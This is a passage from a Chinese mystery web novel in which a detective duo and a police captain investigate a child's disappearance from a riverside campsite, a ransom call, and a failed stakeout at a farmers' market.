“路上再说。”程述瞥她一眼:“我们要去郊区,那里风大,你把围巾和帽子戴上。”
车停在路边大半个月没开过,挡风玻璃前堆满了枯叶,车前盖布满灰尘,被调皮的孩子画下了几个笑脸。
程述暗骂一声,抬手拨掉枯叶,又用纸巾擦掉了灰尘,才坐上驾驶座,系好安全带,拧了好几次钥匙,车才终于启动。
他拍了拍方向盘,无奈地轻笑了一声:“你也老了,看来得退休了。”
祝好好奇:“老大,你这车开了多少年了?”
“十五六年吧,估计也快要报废了。”他漫不经心地补充了一句:“这是我爸留下来的车,之前想着反正还能开,没什么必要换。”
祝好侧目瞥了他一眼,这还是他第一次主动提起自己家人。
虽然只是简单的一句话,但祝好仿佛能听见他从那扇紧锁的心门卸下了一把生锈的大锁,小心翼翼地开了一条缝。
路上,程述简单把案子讲了一遍:失踪的小女孩昨天跟着家里人去郊外露营,早上起来后,小女孩的母亲却发现本该跟自己睡在帐篷里的女儿消失了,她跟丈夫在附近找了一圈,仍然没见到小女孩的踪迹 ,赶紧报了警。
既然是露营,那肯定不是什么都市里的繁华地带。不过祝好没想到居然这么偏远,加上早高峰期的堵塞,硬生生开了快一个钟才到达目的地——一片河堤上。
几辆警车早已停在周围,红蓝警灯不停闪烁,警戒线拉出了一大片杂草丛生的空地,大批警察已经在井然有序地忙碌着。
祝好刚打开车门,一眼就看到了站在警戒线外、正和警员交谈的秦聿风,兴冲冲加快脚步过去跟他打了个招呼:“秦警官,你还好吗?”
秦聿风把手里的文件交给警员,转头对祝好笑了笑:“我很好,就是太忙了,连轴转了好几天。你呢?”
没等祝好回答,程述就一把揽住了他的肩膀:“啧,老秦,你怎么不关心关心我啊?”
说着抓过他的手放在自己肋骨上:“来,摸摸这儿,疼了半个月呢。”
秦聿风嫌弃地把手抽回来,在裤腿上蹭了蹭:“恶不恶心,谁要摸你啊?”
程述没脸没皮地嘿嘿一笑,这才正经起来,环视周围一圈,进入正题:“这地儿挺偏僻呀,这家人怎么会想到来这种地方露营?”
祝好也觉得奇怪,如程述所说,这里的确有些偏僻了,帐篷的南面是一条河道,北面则是一片树林,刚才一路开过来,也没经过什么村庄。
虽然河堤上就是一条公路,但车来车往,几乎不会有人停下来。
秦聿风解释:“听说他们是打算带孩子出来亲近一下大自然,没想到会发生这种事。”
当代人的生活太忙碌,而露营则提供了一种远离城市喧嚣和工作压力的方式,让人们可以暂时将繁忙的学习和工作抛之脑后,全身心融入大自然当中。
这么一说,好像也情有可原。
秦聿风掀起警戒线,把他们往帐篷处领:“走吧,先去看看现场。”
这时是枯水期,河道已经基本干涸了,水深不足十厘米,露出了原本应该藏在河堤的大片鹅卵石,两顶红色的帐篷在其中十分扎眼。
秦聿风边走边给他们介绍案发的过程:“这家人有一儿一女,大儿子九岁,小女儿六岁。这两顶帐篷,一顶是男主人和儿子用的,一顶是女主人和女儿用的。昨天一家人下午三点左右来到这里,搭起帐篷后吃了个晚饭,陪孩子玩了一会儿就睡了。”
“早上六点半左右,女主人被冷醒,睁眼一看,发现女儿不在身边,赶紧把丈夫叫醒。两个人一起在周围找了一圈,一无所获,这才报了警。”
祝好嘟囔:“孩子什么时候丢了都不知道,这对父母的心可真够大的。”
秦聿风点头表示赞同,又说:“我问了下情况,那对夫妇说昨天他们是第一次搭帐篷,耗费了不少体力,所以昨晚睡得特别沉。我们到的时候,他们看起来都急坏了,两个人抱在一起哭得稀里哗啦的。”
枯水期的河道水很浅,跟路面上的水洼差不多,基本可以排除孩子失足落水的可能。
北面的树林面积就比较大了,不过这一带没什么洞穴,树木不粗也不高大,叶子也落得差不多了。如果孩子是误入森林迷了路,应该也没走太远,动用直升机和无人机不难发现她的踪迹。
“接到报警电话之后,我们已经联合交通部门封锁了所有出城的道路,排查可疑车辆。”他拿出手机,摁亮屏幕看了一眼:“不过现在还没什么消息。”
程述啧了一声,拍了拍秦聿风的肩膀:“秦警官都安排妥当了,还要我来干什么?”
“这不是想让你评估一下现场吗?看看还有没有什么可疑的地方。”秦聿风笑了笑:“休息了那么久,你也该发光发热了。”
程述没好气:“也不看看我是为了谁才休息那么久的。”
“不跟你开玩笑了。”秦聿风敛起笑,把他们带到其中一顶帐篷前:“我担心这是一起有预谋的儿童诱拐案。”
祝好顺着他的目光看去,才发现帐篷上有一道大约半米长的口子,看起来像是被人用利器划破的,足以能让一个六岁的孩子自由进出。
只是暂时还不能确定是小姑娘自己划破帐篷偷溜出来,还是有人故意将她掳走。
她带上手套和鞋套,探身进帐篷里,把睡袋翻起来仔细翻找了一番,又起身在帐篷周围转了一圈:“秦警官,我觉小女孩不是自己离开的,也不是被诱拐,更有可能是睡梦中被人抱走了。”
秦聿风:“何以见得?”
祝好从帐篷里钻出来,手上多了一双鞋子:“我在帐篷里找到了一双小女孩的鞋子。”
六岁的孩子已经有了判断能力,这一片都是石头,如果她是走路离开的——不论是自愿还是被诱拐,肯定会先穿上鞋。
程述猛地皱眉,接过鞋子看了一眼,问秦聿风:“有接到索要赎金的电话吗?”
秦聿风摇摇头,又说:“我已经派人给小姑娘爸妈的手机安装了录音软件,也安排了人手24小时在家里陪着他们。”
“马上联系电视台和报社,让他们发布孩子失踪的消息,呼吁所有市民帮忙寻找线索。”程述顿了顿,又补充道:“以警局的名义召开一场新闻发布会,通知孩子的父母,让他们做好准备,接受媒体的采访。”
祝好的心猛地揪了起来。
距离孩子失踪已经过去了三四个小时,如果只是单纯的贪玩走失,能把她找回来的可能性还比较大。
可如果孩子是让人带走的,那就很危险了——儿童失踪后的黄金救援时间是24小时,超过24小时,救援难度会大大提升。
这一带十分荒凉,地上都是鹅卵石和杂草,就算有人来过,也几乎不会留下什么痕迹。
最近的监控在三公里开外的一个加油站,且不说有没有拍到过什么可疑人员,光是排查起来难度就很大,也需要耗费不少时间,拖慢救援进度。
趁着秦聿风打电话安排的空当儿,祝好又探身进另一顶帐篷里。
这个帐篷倒是完好无缺,睡袋旁边零零散散放着不少乐高玩具的配件和一个组装到一半的挖掘机。
一旁的警员解释:“这是他们那个大儿子的玩具,刚刚走的时候我们没让他把乐高带走,他还朝我们发了通脾气。”
说完无奈地摇摇头,感慨了句:“现在的孩子,真是被宠坏了。”
两个帐篷外面支着一张小桌,桌上有卡式炉和一个不锈钢小锅,锅里还有吃剩的泡面。
祝好蹲下身,翻了翻小桌子旁边的垃圾袋,里面只有两个泡面的包装袋和几个矿泉水瓶。
程述不知什么时候出现在她身后,看着垃圾袋里的东西,低声喃喃了句:“这家人是来亲近大自然还是来逃难的?买了那么贵的帐篷,怎么才带了这么点儿吃的。”
祝好也觉得有些不对劲,还没等她细想,秦聿风就拿着手机回来了:“安排好了,采访一个小时之后开始。”
程述点点头:“走吧,我们也去他们家里看看。”
第117章
回去的路上,秦聿风念及程述伤刚好,主动承担起了司机的责任。程述也没有像往常一样坐在副驾驶,而是跟祝好一起坐到了后排。
在秦聿风对程述这辆老龄车喋喋不休的吐槽中,祝好打开文件袋,快速浏览了这一家人的资料。
这是一个典型的中产阶级家庭,男主人许志刚拥有一家规模不小的牙科诊所,女主人廖莹则是一家私立培训结构的英语老师。
失踪的孩子是他们六岁的小女儿,名叫许子昕,他们还有一个九岁的大儿子许子安,两个孩子都在淮江市一家有名的贵族私立小学读书,这所学校每年的学费将近十万元。
这样的家庭,的确很容易成为绑匪的目标。
如果许子昕真的是被绑架的,那绑匪应该已经观察他们很久了,一直等待着最适合下手的机会。
许家住在一栋二层的联排别墅,电视台和报社的工作人员早已到达并架好了设备,一些好事的邻居也纷纷围过来,将别墅门口挤得水泄不通。
为了尽快将这个消息散播出去,警方跟电视台商量过后,选择了直播的形式。
在别墅门口,祝好第一次见到了这一家人。许志刚和廖莹都是三四十岁的年纪,却因为女儿的失踪一夜之间憔悴不少。
旁边那个一脸漠然的男孩估计就是许子安了,从他身上穿着的名牌服饰来看,这家人的生活条件十分不错。
调试好机器之后,电视台的工作人员对秦聿风比了个手势:“警察同志,我们准备好了,可以开始了。”
秦聿风微微颔首,转向双眼通红、正相拥在一起互相安慰的许志刚和廖莹:“许先生,廖女士,我刚刚说的那些你们都记住了吗?”
廖莹眼眶泛红,紧咬着嘴唇艰难地点了点头。
秦聿风:“好,待会儿我会先简单陈述经过,再由你们接受采访。”
说完对着电视台工作人员打了个手势,示意他们自己已经准备好了。
他对着镜头举起手中许子昕的照片,清了清嗓:“广大市民们大家好,今天早上,有一名小女孩在郊区走失。她名叫许子昕,今年六岁。我们知道子昕只是因为贪玩不小心迷路了,希望广大市民踊跃提供线索,一定很快就会有好心人发现并将她送回家。”
他用的是“走失”,而不是“绑架”,目的就是向带走许子昕的人传达出一个信息,如果许子昕平安回来,警方可以从轻处罚。这样一来,更能保证许子昕的安全。
许志刚用颤抖的手将许子昕的照片举起来,声音里有强压的悲伤:“我叫许志刚,这是我的妻子廖莹,我们的女儿许子昕今天早上失踪了……如果你有线索,请联系我们,我的电话是138XXX……”
他话音刚落,廖莹再也抑制不住情绪,对着镜头“扑通”一声跪下了,嚎啕大哭着:“请不要伤害子昕!只要她能回来,我愿意付出一切,求求你,求求你!”
许志刚赶紧扶住她,把她抱在怀里,又一次艰难地转向镜头:“不管你是谁,我们只想让你知道,我们很爱子昕,不希望她受到任何伤害……我们……”
未说完的话卡在喉咙里,刚才在妻儿和公众面前勉强维持着的坚强陡然之间崩塌,许志刚也难以自抑地痛哭起来。
在场的警员、电视台工作人员甚至是围观的邻居都被悲伤而压抑的气氛所感染,默然低下了头,有的人甚至抹起了眼泪。
祝好如鲠在喉,心里仿佛堵了块大石头,沉甸甸的压得她喘不过气来,她深吸了几口气,转身却不见了程述的身影,想必是进许家的别墅里调查线索去了。
祝好刚要拔腿往屋里走,突然被一个熟悉的声音叫住。
“祝小姐?”
她回过头,惊讶地发现竟然是唐宋。
他脖子上挂着一台数码相机,抱着笔记本电脑,手里还有只录音笔,俨然一副正在工作的模样。
“唐宋,你怎么会在这儿?”
唐宋有些不好意思地挠了挠头:“我从西临市的报社辞职了,偶然间看到淮江市的电视台正在招聘记者,就试着投了份简历……哦,对了,今天是我上班的第一天。”
说完举起胸前挂着的工作证给祝好看。
祝好笑了笑:“那恭喜你啊,改天我们一起吃个饭,为你庆祝庆祝。”
对于唐宋,她还是心怀感激的。毕竟在分享会的洋楼里是他告诉了他们后门的方向,又在雨夜中找到他们,将程述送去医院,并且把从周逸那里得到的证据给了他们。
回来之后,她还一度担心唐宋会遭到报复——分享会虽然被彻查,但一定还有不少残渣余孽躲在黑暗中虎视眈眈,他来到淮江市,肯定比留在西临市要安全得多。
唐宋点点头,压低声音问道:“孩子有什么消息了吗?”
祝好摇摇头:“还没有呢,警方还在调查。”
唐宋抿了抿嘴:“好,那我先去忙了,有什么需要我帮忙的尽管开口。”
跟唐宋道别后,祝好走进屋里,抬头看到程述刚从二楼中间的卧室出来,便沿着楼梯上了二楼。
二楼一共有三个房间,最靠近楼梯口的是主卧,紧挨着主卧、门上挂着一只粉红色兔子的是许子昕的房间,而走廊尽头、门上贴着一个卡通飞机图案的,应该就是许子安的房间了。
祝好叫住程述:“老大,有什么发现吗?”
程述摇摇头:“主卧和许子昕的房间我都看过了,没发现什么特别的。”
说完走向许子安的房间,很自然地推门走了进去。
许子安房间的墙壁是天蓝色的,除了床、衣柜和书桌这些基础的家具之外,随处可见各种各样用乐高拼成的东西,挖掘机、火箭、飞机、变形金刚等,满满当当摆了一柜子。
角落里还有一堆零散的乐高积木,和一架完成到一半的坦克,祝好蹲下身,拿起一块积木看了一眼,随口问道:“老大,你猜我刚刚看到谁了?”
“谁?”
“唐宋。”
程述顿了一下:“唐宋?西临市那个记者吗?”
“对,就是他。”祝好说:“他跳槽到淮江市的电视台了。”
程述淡淡地“哦”了一声,似乎没把这件事放在心上,正要抬手伸向书柜上一个乐高拼成的跑车,突然一个可乐罐在半空中划出一道优美的弧线,“哐”的一声,精准地落在了他的脑袋上,紧接着一道稚嫩但愤怒的声音传来:“你们为什么进我的房间!”
祝好循声看去,发现是许家的大儿子许子安。他正站在门口,瞪着双眼怒视着程述,刚才那个可乐罐就是他扔的。
“小弟弟,我们是来调查你妹妹的失踪……”
祝好解释的话还没说完,就被许子安不耐烦的声音打断:“滚出去!”
祝好:?
这孩子怎么那么没礼貌。
见他们没有要走的意思,许子安脸上的愠怒更甚,眼睛都红了:“我让你们滚出我的房间,不准动我的乐高,听到了吗?”
程述慢条斯理从地上捡起可乐罐,一步步朝许子安走去,蹲下身,目光与他平齐:“小弟弟,你平时脾气就那么差吗?”
“我,让,你,们,滚,出,去!”许子安几乎是咬牙切齿、一字一顿说出这句话,一把从程述手里抢过可乐罐就要往外砸。
“子安!”一声呵斥从走廊传来,许志刚匆匆小跑过来攥住许子安的手腕,夺下了可乐罐,又放缓声线向程述道歉:“对不起,这孩子被宠坏了,脾气有点急躁。”
说完拉着许子安就走。
许子安一脸不服气,奋力挣扎着,被许志刚带远了,嘴里还不停大骂:“我不走!你们别动我的乐高!……”
这哪是“有点急躁”?
祝好忍不住吐槽:“这要是我的孩子,我非得给他两巴掌让他老实点儿。”
程述没接话,目不转睛地看着他们的背影,若有所思。
他往下看了一眼,发现秦聿风正坐在客厅里和廖莹谈话,便朝祝好勾了勾手:“走,我们也去看看。”
秦聿风坐在客厅沙发上,给廖莹递了张纸巾:“廖女士,请你冷静下来。我想请你回忆一下,最近有没有在附近发现可疑的人或者车辆?”
廖莹思索片刻,虚弱地摇了摇头。
程述补充了一句:“你再仔细想想,有没有人突然对你们家、特别是对许子昕很热情,他不一定是什么奇怪的人,有可能只是你们身边的普通人,比如邻居、朋友甚至是亲戚。他平时性格和善,看起来没什么攻击性,即便让许子昕单独跟他呆在一起,你们也不会觉得担心。”
廖莹眼睛
已经哭得红肿了,她捏着眉心,还是摇头。
许志刚安顿好许子安,也走过来在她身边坐下,搂紧了她的肩膀。
秦聿风接着问:“许先生,最近你们有跟什么人结过仇吗?”
许志刚的声音沙哑而低沉:“没有,我们一直和善待人,从不轻易和别人结仇。”
“昨天去露营时,有没有发现车辆跟踪过你们?”
许志刚:“印象中没有。”
“廖女士呢?”
“我没太注意。”廖莹深深叹了口气,把脸埋在手心里。
“那……”
秦聿风还想接着问些什么,廖莹反扣在茶几上的手机忽然突兀地响起来,前一秒还在各自忙碌的警员不约而同安静下来,纷纷把目光投向这边。
廖莹浑身一颤,脸色煞白,颤抖着拿起手机,屏幕上显示的是一个未知号码。
秦聿风从她手里接过手机,跟架设监听设备的警员对视了一眼,摁下免提,示意廖莹接听电话。
廖莹咽了下口水,按下接听键:“喂?”
电话里传来一个明显用了变声器的声音:“是廖莹吧?”
廖莹小心翼翼地抬眼看着秦聿风,见他点了点头,才问:“是,您哪位?”
“我看到新闻了,你女儿许子昕在我手上。”
秦聿风接过警员递来的纸和笔飞快地写下什么,举到廖莹面前。
廖莹看了一眼,问道:“你、你怎么证明孩子在你那儿?”
对面回答:“你女儿穿着一套有兔子图案的白色睡衣,脖子后面有个胎记,对吧?”
廖莹忍不住捂着嘴哭了起来,苦苦哀求道:“不要伤害她,你想要什么都可以!”
对面的声音波澜不惊:“明天八点之前筹到一百万元,要现金。”
许志刚抢过电话,急切地问道:“可以,没问题,子昕现在怎么样了?她还好吗?有没有受伤?”
对面的回答很简短:“她很好。”
秦聿风又刷刷写下一行字递给许志刚。
许志刚犹豫了一下,照着他写的内容问道:“我可以听听子昕的声音吗?”
对面没有马上回答,客厅的空气仿佛凝滞了一般,所有人都屏息等待着。
过了好一会儿,那头才突然传来一个带着哭腔的童声:“妈妈——”
廖莹一愣,眼泪又一次卷土重来,抢过电话哭喊道:“子昕,是妈妈,妈妈在这里,子昕!”
然而回应她的,又是那个用了变声器的声音:“你已经听到了,明天早上7点钟,淮江农贸市场,你一个人带着钱来。如果我发现有警察跟着,你们就等着替子昕收尸吧。”
廖莹忙不迭点头,问道:“我去哪里找你?”
“等着吧,我会给你下一步的指示。”
对面不给他们任何反应的机会,说完这句话之后就“啪”一声把电话给挂断了。
第118章
在场的所有人面面相觑,一时间无人开口说话,空气安静到了极点。
片刻后,廖莹才突然反应过来似的,扑到许志刚怀里呜咽起来。许志刚眼圈发货,向秦聿风投去求助的目光:“警察同志,这、这可怎么办好?”
秦聿风的脸色也不好看,转头问负责操作电脑的技术员:“小孙,能查出号码的主人吗?”
技术员面露为难,声音都不自觉压低了:“秦队,这个号码经过特殊处理,信号端被加密了,没办法查出来。”
许志刚急切地追问:“也定位不了吗?”
技术员摇摇头:“抱歉。”
很显然,对面的劫匪早就料到警方会追踪自己的好吗,因此早早就做好了应对准备。
许志刚颓然地靠在沙发上,眼神黯淡:“那、那怎么办?”
在接到绑匪电话前,所有人都抱着一丝侥幸心理:如果对方绑架许子昕是为了别的,而不是求财,那至少不会要她的命。
然而现在对方已经亮出了第一张牌,明确地告诉警方他绑架许子昕就是为了钱。也就是说,许子昕的处境十分不容乐观。
一直没有说话的程述突然开口问许志刚:“你们能拿出一百万现金吗?”
许志刚只犹豫了一秒钟就点头:“可以。”
得到肯定的答案,程述才转向秦聿风:“老秦,去跟局里申请成立专案组,联合全城的警力部署,明天交易的时候顺便抓人。”
眼下就只有这一个办法了。
绑架案跟命案不同,命案是已经发生的既定事实,警方要做的就是查明真相、找出凶手就行。
可绑架案无异于在跟绑匪下一场不公平的棋局,绑匪永远领先警方一步,可以预测出警方能怎么做、会怎么做,而警方却对绑匪一无所知,更不知道他下一步会把棋子下在哪个位置。
更令人揪心的是,在一般的绑架案中,不管绑匪最后有没有拿到钱,撕票的可能性都非常大。
如果是什么也不知道的婴幼儿还好说,可六岁的许子昕已经有了辨别是非的能力,只要绑匪把她放回来,警方一定能从她口中得到不少信息,例如绑匪的外形、声音、人数等等。
绑匪若是这么做,无异于往自己身上安了枚定时炸弹。
即便如此,警方也没有选择的余地,只能在交钱赎人的同时多安排人手紧盯交易现场,希望一举将前来取钱的绑匪抓获,最大概率保证许子昕的安全。
廖莹双唇嚅动,声音艰涩:“你们有把握找到绑匪吗?”
秦聿风下颌线紧绷了一瞬,没有给出笃定的答案,只是说:“我们会尽力。”
许志刚扶着太阳穴叹了口气,说道:“我马上去筹钱,不过警察同志,请你们务必保证子昕的安全,钱不是问题,我只想要我女儿安全回来。”
秦聿风眉头像是压了千钧重,默不作声地点了点头。
*
警局对这起儿童绑架案十分重视,专案组的会议从下午一直开到了半夜。
祝好也跟着程述一起旁听了会议,了解了大致的行动计划。
淮江农贸市场是淮江市规模最大的市集,而绑匪选定的七点钟这个时间,是早市的高峰期,他的目的不言而喻,就是要借着人流量最大的时候完成交易,降低自己被发现的风险。
对警方来说,在这里开展围捕更是难上加难,只能加大警力,在市场周围布下天罗地网,并派人盯死每一个出入口,绝对不放过任何一个可疑的人。
从警局出来,祝好的肚子咕咕直叫——刚才的晚饭是跟警员们一起随便用泡面打发的,没什么油水,这会儿胃已经开始抗议了。
警局附近就有宵夜摊,祝好拉着程述去点了两碗热腾腾的小面,想了想,又让摊主打包了一份。
作为明天行动的总指挥,秦聿风忙着部署工作,连晚饭都没顾上吃。直到大伙儿都散会了,他还留在办公室里反复核对行动细节。
祝好吹散了碗里热腾腾的白汽,问程述:“老大,你之前参与过的绑架案多吗?”
“不多。”顿了顿,程述又说:“说实话,这年头绑架案都挺少见的。”
确实如此,毕竟现在满大街都是摄像头,信息的传播速度也很快。不管最后能不能拿到钱,
绑匪被抓获的几率都不小。
如果许子昕能平安归来,那绑匪可能会被没收财产,在监狱里呆上五年十年;如果许子昕被撕票了,那他还会面临更严重的刑罚,甚至是死刑。
一百万虽然不算少,但为了这些钱冒这个风险,似乎不太值当。
不过现在最重要的,还是先保证许子昕的安全,至于背后的隐情,可以之后再慢慢调查。
提着打包好的小面回到警局门口,祝好让程述先去开车,自己回警局去给秦聿风送宵夜。
她敲响秦聿风办公室的门,听他说了句“请进”之后才推开门,办公室里烟雾缭绕,一股浓重的烟草味扑面而来。
看到进来的是祝好,秦聿风赶紧把烟摁灭在烟灰缸里,又起身打开窗子散味儿:“祝小姐,你跟老程不是回去了吗?”
祝好虽然不喜欢烟味,但她也知道此时的秦聿风顶着巨大的压力,只能靠尼古丁来提神醒脑、舒缓情绪。
她把打包好的小面放在桌上,笑了笑:“秦警官,你还没吃晚饭吧,我给你打包了宵夜。”
秦聿风愣了一下,挪开桌子上堆砌的文件,也报以一笑:“谢谢啊,有心了。”
系统响起提示音:“跟秦聿风的好感度+5,获得50积分。”
祝好:“别那么客气,对了,你也跟温主任一样叫我名字就行,总是‘祝小姐、祝小姐’的,听着也太生分了。”
秦聿风是她穿进游戏之后遇见的第一个可攻略对象,却也是好感度提升得最慢的一个,祝好觉得自己有必要加快进程了。
听她这么说,秦聿风也没扭捏:“行,那我以后就叫你名字了,祝好。”
祝好还想说什么,门外却不合时宜传来两声催促的喇叭。
秦聿风轻笑一声:“老程等不耐烦了吧?你赶紧回去休息,明天还要早起呢。”
*
早晨六点三十分,第一缕曙光穿透冬日的薄雾,淮江市农贸市场已经开始了新一天的喧闹与繁忙。
菜贩们把新鲜的蔬菜水果、泛着油光的肉类和鲜活的海产品依次摆放在摊点上,吆喝声、叫卖声和讨价还价声不绝于耳。
早点摊前更是大排长龙,热腾腾的蒸笼一打开,氤氲的白汽立刻飘散在空气中,厚重的香气四溢而出。
祝好接过程述递来的插好吸管的热豆浆,屏息听着耳麦里的动静。
秦聿风的声音从耳机里传出来:“请各小组汇报情况。”
“一号门无异常。”
“秦队,二号门暂时没有发现可疑人员。”
“市场外围没有发现可疑车辆。”
……
祝好和程述负责盯住坐在早餐铺子上的廖莹,以防发生什么变故,同时周围还分布着三四名伪装成摊贩和顾客的便衣警员。
祝好一手捧着豆浆,一手挽着程述的胳膊,在菜市场门口的地摊上流连。在外人看来,两个人俨然一对再普通不过的“小夫妻”。
转了几圈后,祝好的目光落在菜市场门口贴着的一张公告上,她扯了扯程述的袖子,指着那张公告对他使了个眼色。
程述眯着眼快速浏览了通告的内容,敲了敲耳麦,沉声道:“老秦,菜市场门口有张临时公告,说从昨天凌晨到今早六点钟会对农贸市场的地下排水系统进行检修。”
这个公告是昨天才贴出来的,如果绑匪提前掌握了这一点,说不定会利用这个漏洞,趁着工人检修的空当提前藏在地下管道里。
“收到。”秦聿风简短回答之后,又问:“小孙,查看市场内及周边一共有几个下水井。”
五分钟后,技术员的的声音传出:“一共八个,秦队。”
秦聿风应了一声,快速做出部署:“一组,三组各派出四名成员,盯住市场内所有排水井,其他人继续留在原岗位。”
他几乎一夜没睡,此刻声音里透出疲惫的沙哑。
各组成员陆陆续续应了“收到”。
廖莹坐在早餐铺子的矮凳上,把装着一百万元现金的背包抱在胸前,一只手紧紧攥着手机。不知是因为紧张还是害怕,她露在围巾外面的半张脸显得异常苍白,双腿不自觉抖动着。
距离绑匪规定的七点钟只剩几分钟了,他下一步指示的电话却一直没打进来。
别说作为当事人的廖莹了,就连祝好都紧张得喉咙发紧,心脏砰砰直跳。
农贸市场即将迎来人流量高峰期,摩肩接踵的人群中,说不定就隐藏着绑匪的踪迹。或许他正藏在某个角落里,紧盯着廖莹的一举一动。
“小姑娘,你拿着这颗白菜看十分钟了,菜都要被你看蔫巴了,你到底买不买?”
菜贩的声音让祝好抽回神思,她尴尬地笑了笑,从口袋里摸出一张二十块钱递过去。
菜贩用塑料袋把白菜装起来,跟找好的零钱一起递给祝好。
接过钱的瞬间,程述突然低声说了句:“廖莹接电话了,试试定位对方手机信号。”
祝好动作一滞,下意识用余光看向早餐铺子上的廖莹,只见她握着手机,神色慌张地左顾右盼。
频段里安静了一瞬,技术员很快回答:“对方信号无法定位,我现在把电话信号切入频段里。”
廖莹接起了电话,她和绑匪的对话在耳麦里响起。
“喂,我、我已经在市场里了,我现在要怎么做?”
电话对面的绑匪还是用了变声器,与廖莹的紧张相比,他显得淡定许多:“我看得到你,你往前走,到了第二个路口左拐。”
看到廖莹起身,秦聿风迅速而笃定地作出指示:“一组三号队员,跟上去。”
其中一名假扮成早餐铺顾客的警员抽了张餐纸擦了擦嘴,起身不紧不慢地跟在廖莹身后。
廖莹根据绑匪的指示一路往前,还没走出多远,绑匪却突然开口:“等等,是不是有人在跟着你?你报警了?”
“没、没有啊。”
秦聿风迅速作出指示:“一组三号放弃跟踪,老程,你们顶上,其他人继续留在岗位上,注意周围可疑人员。”
那名负责跟踪的警员接到指示,不动声色地在一处卖烤玉米的摊子前停下。与此同时,程述默不作声接过祝好手里提着的那颗白菜,揽住她的肩膀,与廖莹保持着一定的距离,十分自然地跟上前。
廖莹很快走到了第二个路口,左拐进去就是一排商铺的后门,看她要调转方向,秦聿风又一次调兵遣将:“老程,你们先停下,二组五号继续跟上。”
祝好闻言,立刻装作饶有兴趣的样子,拉着程述停在一处算命的摊子前,弯腰看地上放着的罗盘。
算命摊上坐着个戴着圆形墨镜的老大爷,哈欠打到一半,看到祝好过来,又硬生生忍住了,换上一副笑脸,问道:“姑娘,你这是要算姻缘,还是要算运势?”
祝好随口说了句“都行”,余光一刻也不敢从廖莹身上挪开,直到她的踯躅的身影消失在拐角处。
“我看姑娘面相特殊,乃非凡之人,不如我给你算算运势吧。”大爷闭上眼睛,捻起中指和大拇指,摇头晃脑地沉吟一阵,喃喃道:“八卦演义,乾坤定命;离位虽非宿命所归,却因缘际会,坎卦相随。”
祝好敷衍地对老大爷笑了笑,凝神静听耳麦里的动静。
绑匪继续指挥廖莹:“顺着这条路走到尽头,再往右拐。”
秦聿风也随着他的指示不断调整人员:“二组五号放弃跟踪,六组三号跟上,与目标保持距离,不要被发现。”
算命的老大爷等了好一阵,见祝好心不在焉、并没有要搭理他的意思,尴尬地清了清嗓,自顾自解释道:“也就是说,当前的位置,并不是你生命轨迹中预定的最终停留点,换言之,你本不应该在此地长留。但是因为一系列的缘分和巧合,你来到了这里,也在困境中找到了自己的位置……”
“你撒谎了,一直有警察跟着你,对不对?”
耳麦中冷不丁传出的声音让所有人倏然一愣。
廖莹因为慌乱而有些语无伦次:“没、没有,警察没跟来,一直都只有我一个人,你在哪儿?子昕在哪儿?”
绑匪没有回答她,而是冷笑了一声:“你报警了,我不跟你计较,但我明明说了只能你一个人跟来,你为什么还要带上警察呢?”
频段里异常安静,只剩下细微的电流声,每个人都紧张到了极致。
“姑娘,姑娘,你要是觉得我算得不准,我可以再帮你们算算姻缘……”算命的老大爷还在喋喋不休向祝好推销业务。
“老板,橘子还能便宜点儿吗?”
“这红薯怎么卖?”
市场已经到了早高峰期,四周越来越嘈杂。
耳麦里,廖莹带着哭腔哀求道:“没有,真的没有!你不要伤害子昕,求求你了。”
四面八方的声音交织着灌入耳朵里,祝好脑袋乱作一团,紧张使她一阵头晕目眩,不自觉攥紧了程述的胳膊。
“我给过你机会了,你们没有珍
惜,那就别怪我不客气了。”
变声器的声音冰冷、不带一丝感情,没有给廖莹任何转圜的余地,说完这句话,他又一次把电话挂断了。
第119章
“喂?喂?”
电话已经彻底挂断,廖莹仍不死心地一遍一遍回拨过去,然而那边传来的提示已经变成了“您所拨打的号码不存在”。
她愣在当场,片刻后,抱着背包蹲在地上大哭起来:“这可怎么办啊,我的子昕!”
秦聿风声线紧绷得厉害:“各小组成员,以自身为中心,注意周围是否有可疑人员,特别关注刚挂电话或戴着耳机的人。”
一声声“收到”从耳麦里传出,祝好也不再理会算命大爷的热情推销,站起身来,眼神一圈圈向外搜寻。
半晌后,耳麦里陆续响起回应。
“秦队,菜市场并未发现异常。”
“东门出口未发现可疑人员。”
秦聿风:“制高点的人员有没有观察到什么?”
“没有异常,秦队。”
秦聿风嗓子沙哑得几乎要说不出话来:“井盖呢?有没有人动过下水井盖?”
“一号井盖无异常。”
“三号井盖无异常。”
“各小组成员注意,把各自负责的区域再排查一遍,不要放过任何可疑的人员。”
……
不知不觉间,距离约定交钱赎人的七点钟已经过去了三个小时。
农贸市场的早高峰期堪堪过去,方才还人声鼎沸的早市逐渐安静下来,而警方对绑匪的搜寻仍旧一无所获,祝好的心也随之沉到了谷底。
频段里一时间无人说话,过了好一会儿,才有人小心翼翼地开口:“秦队,接下来我们要怎么办?”
良久的沉默过后,频段里才传来秦聿风疲惫到极致的声音:“安排两个警员把廖莹送回家,24小时对她的手机进行监听,负责各个出口的小组继续留守,其他人先收队回警局。”
祝好能想象到坐在指挥车里的秦聿风面临着多大的压力:警方的围捕行动失败了,绑匪也撂下了狠话。这也就意味着,许子昕的生命正在受到威胁。
*
翌日早上,天气阴沉。当祝好跟着程述刚跨进警局的大门,立刻就感觉到气氛的不对劲。
虽然警局里如往常一样一派忙碌的景象,但大家都默契地没有多说一句话,只是低头完成自己的工作,气氛凝重得如同掉进了一团浆糊里,让人无法喘气。
可见围捕行动的失败,带给所有人的打击都不小。
祝好敲开秦聿风办公室的门时,他正全神贯注地盯着电脑屏幕,桌上放着几个已经空了的咖啡杯,烟灰缸里的烟屁股已经堆成了一座小山。
“秦警官,你还好吗?”
“祝小姐……祝好,抱歉,我在想事情,一下子没反应过来。”秦聿风摁下暂停键,用力眨了眨布满红血丝的双眼,问道:“老程呢?”
“他去给你买早餐了。”祝好看向电脑屏幕,上面是农贸市场里的监控摄像头拍下的视频,她皱了皱眉:“秦警官,你昨晚一夜没睡吗?”
“一个失踪的小女孩生死未卜,我哪儿睡得着啊。”秦聿风不置可否,嘴角扯出一个半酸不苦的弧度。
祝好在沙发上坐下,问他:“你有没有觉得,这起绑架案有点儿奇怪?”
秦聿风摸了摸下巴上泛青的胡渣,点了点头:“按理来说,我们的布控应该是没问题的。”
祝好明白他的意思:绑匪既然知道警方的行动,也知道廖莹的位置,那他应该就藏在附近——一个能看到廖莹的地方。
参与围捕行动的都是有经验的警员,如果身边有可疑的人,他们一定能看出来。那么绑匪又是如何神不知鬼不觉突破警方的重重包围,从市场离开的?
